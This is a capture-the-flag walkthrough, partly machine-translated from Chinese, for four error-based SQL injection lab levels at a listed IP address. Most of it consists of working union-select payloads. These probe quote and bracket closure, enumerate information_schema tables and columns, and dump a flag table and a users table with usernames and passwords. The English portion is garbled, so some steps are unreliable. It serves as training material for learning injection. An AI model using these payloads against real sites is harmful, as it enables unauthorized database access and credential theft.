Four off Address:
http://59.63.200.79:8812/New/ErrorBased/RankOne/sql-one/
http://59.63.200.79:8812/New/ErrorBased/RankTwo/sql-two/
http://59.63.200.79:8812/New/ErrorBased/RankThree/sql-three/
http://59.63.200.79:8812/New/ErrorBased/RankFour/sql-four/
Significant fault injection first pass:
1, first determines whether there is an input id = 1 and injected id = 1 'indicating the presence injection page change??
2, input id = 1 order by 1 2 3 4 3 determines number of fields is the result? display id needs to 'closed
[image] 
3, combined echo injection point is determined:
?id=9.999' union select 1,2,3 --+ #注释掉后面的limit
Analyzing the echo points 2 and 3, field
4, database query using the system comes all the table names and field names:
数据库中的一个所有库的表：表名information_schema.tables 库名字段 table_schema 指定库名database()查表名数据库中的一个所有表的表：表名information_schema.columns 表名字段table_name 列名字段：column_name 指定表名查字段名
?id=9.999' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database()--+
Now we know the name of the table can check the field name:
?id=9.999' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='zkaq'--+
Now we know the table name field name can check the value of the inside:
?id=9.999' union select 1,group_concat(zKaQ),3 from zkaq --+?id=1' union select 1,2,group_concat(zKaQ) from zkaq limit 1,1--+
You can put all the tables of all detected values:
Table Name: emails, referers, uagents, the Users, zkaq
zkaq Table Field Name: Flag, zKaQ
emails table field names: the above mentioned id, EMAIL_ID
referers table field names: the above mentioned id, Referer, ip_address
uagents table field names: the above mentioned id, uagent, ip_address, username
the Users table field name: USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS, id , username (zkz, zkaq), password (zkz, zkaq)
显错注入第二关
第二关除了?id后面不用和第一关一样加’闭合外 其他基本一样
显错注入第三关
第三关先输入？id=1出现以下图示：
由此可见，这一关我们需要闭合前面的括号，注释掉后面的括号：?id=1‘） and 1=1%20 —+
后面的操作和前两关类似
?id=9.999 ') union select 1,2,group_concat(zKaQ) from zkaq --+ #需要闭合前面的括号，注释掉后面的括号
显错注入第四关
第四关与第三关类似 只是由单引号变为双引号 和上一关相似的闭合方法：
?id=1 ") and 1=1 --+
步骤与以上方法一致：
?id=9.999 ")%20 union select 1,2,group_concat(zKaQ) from zkaq --+
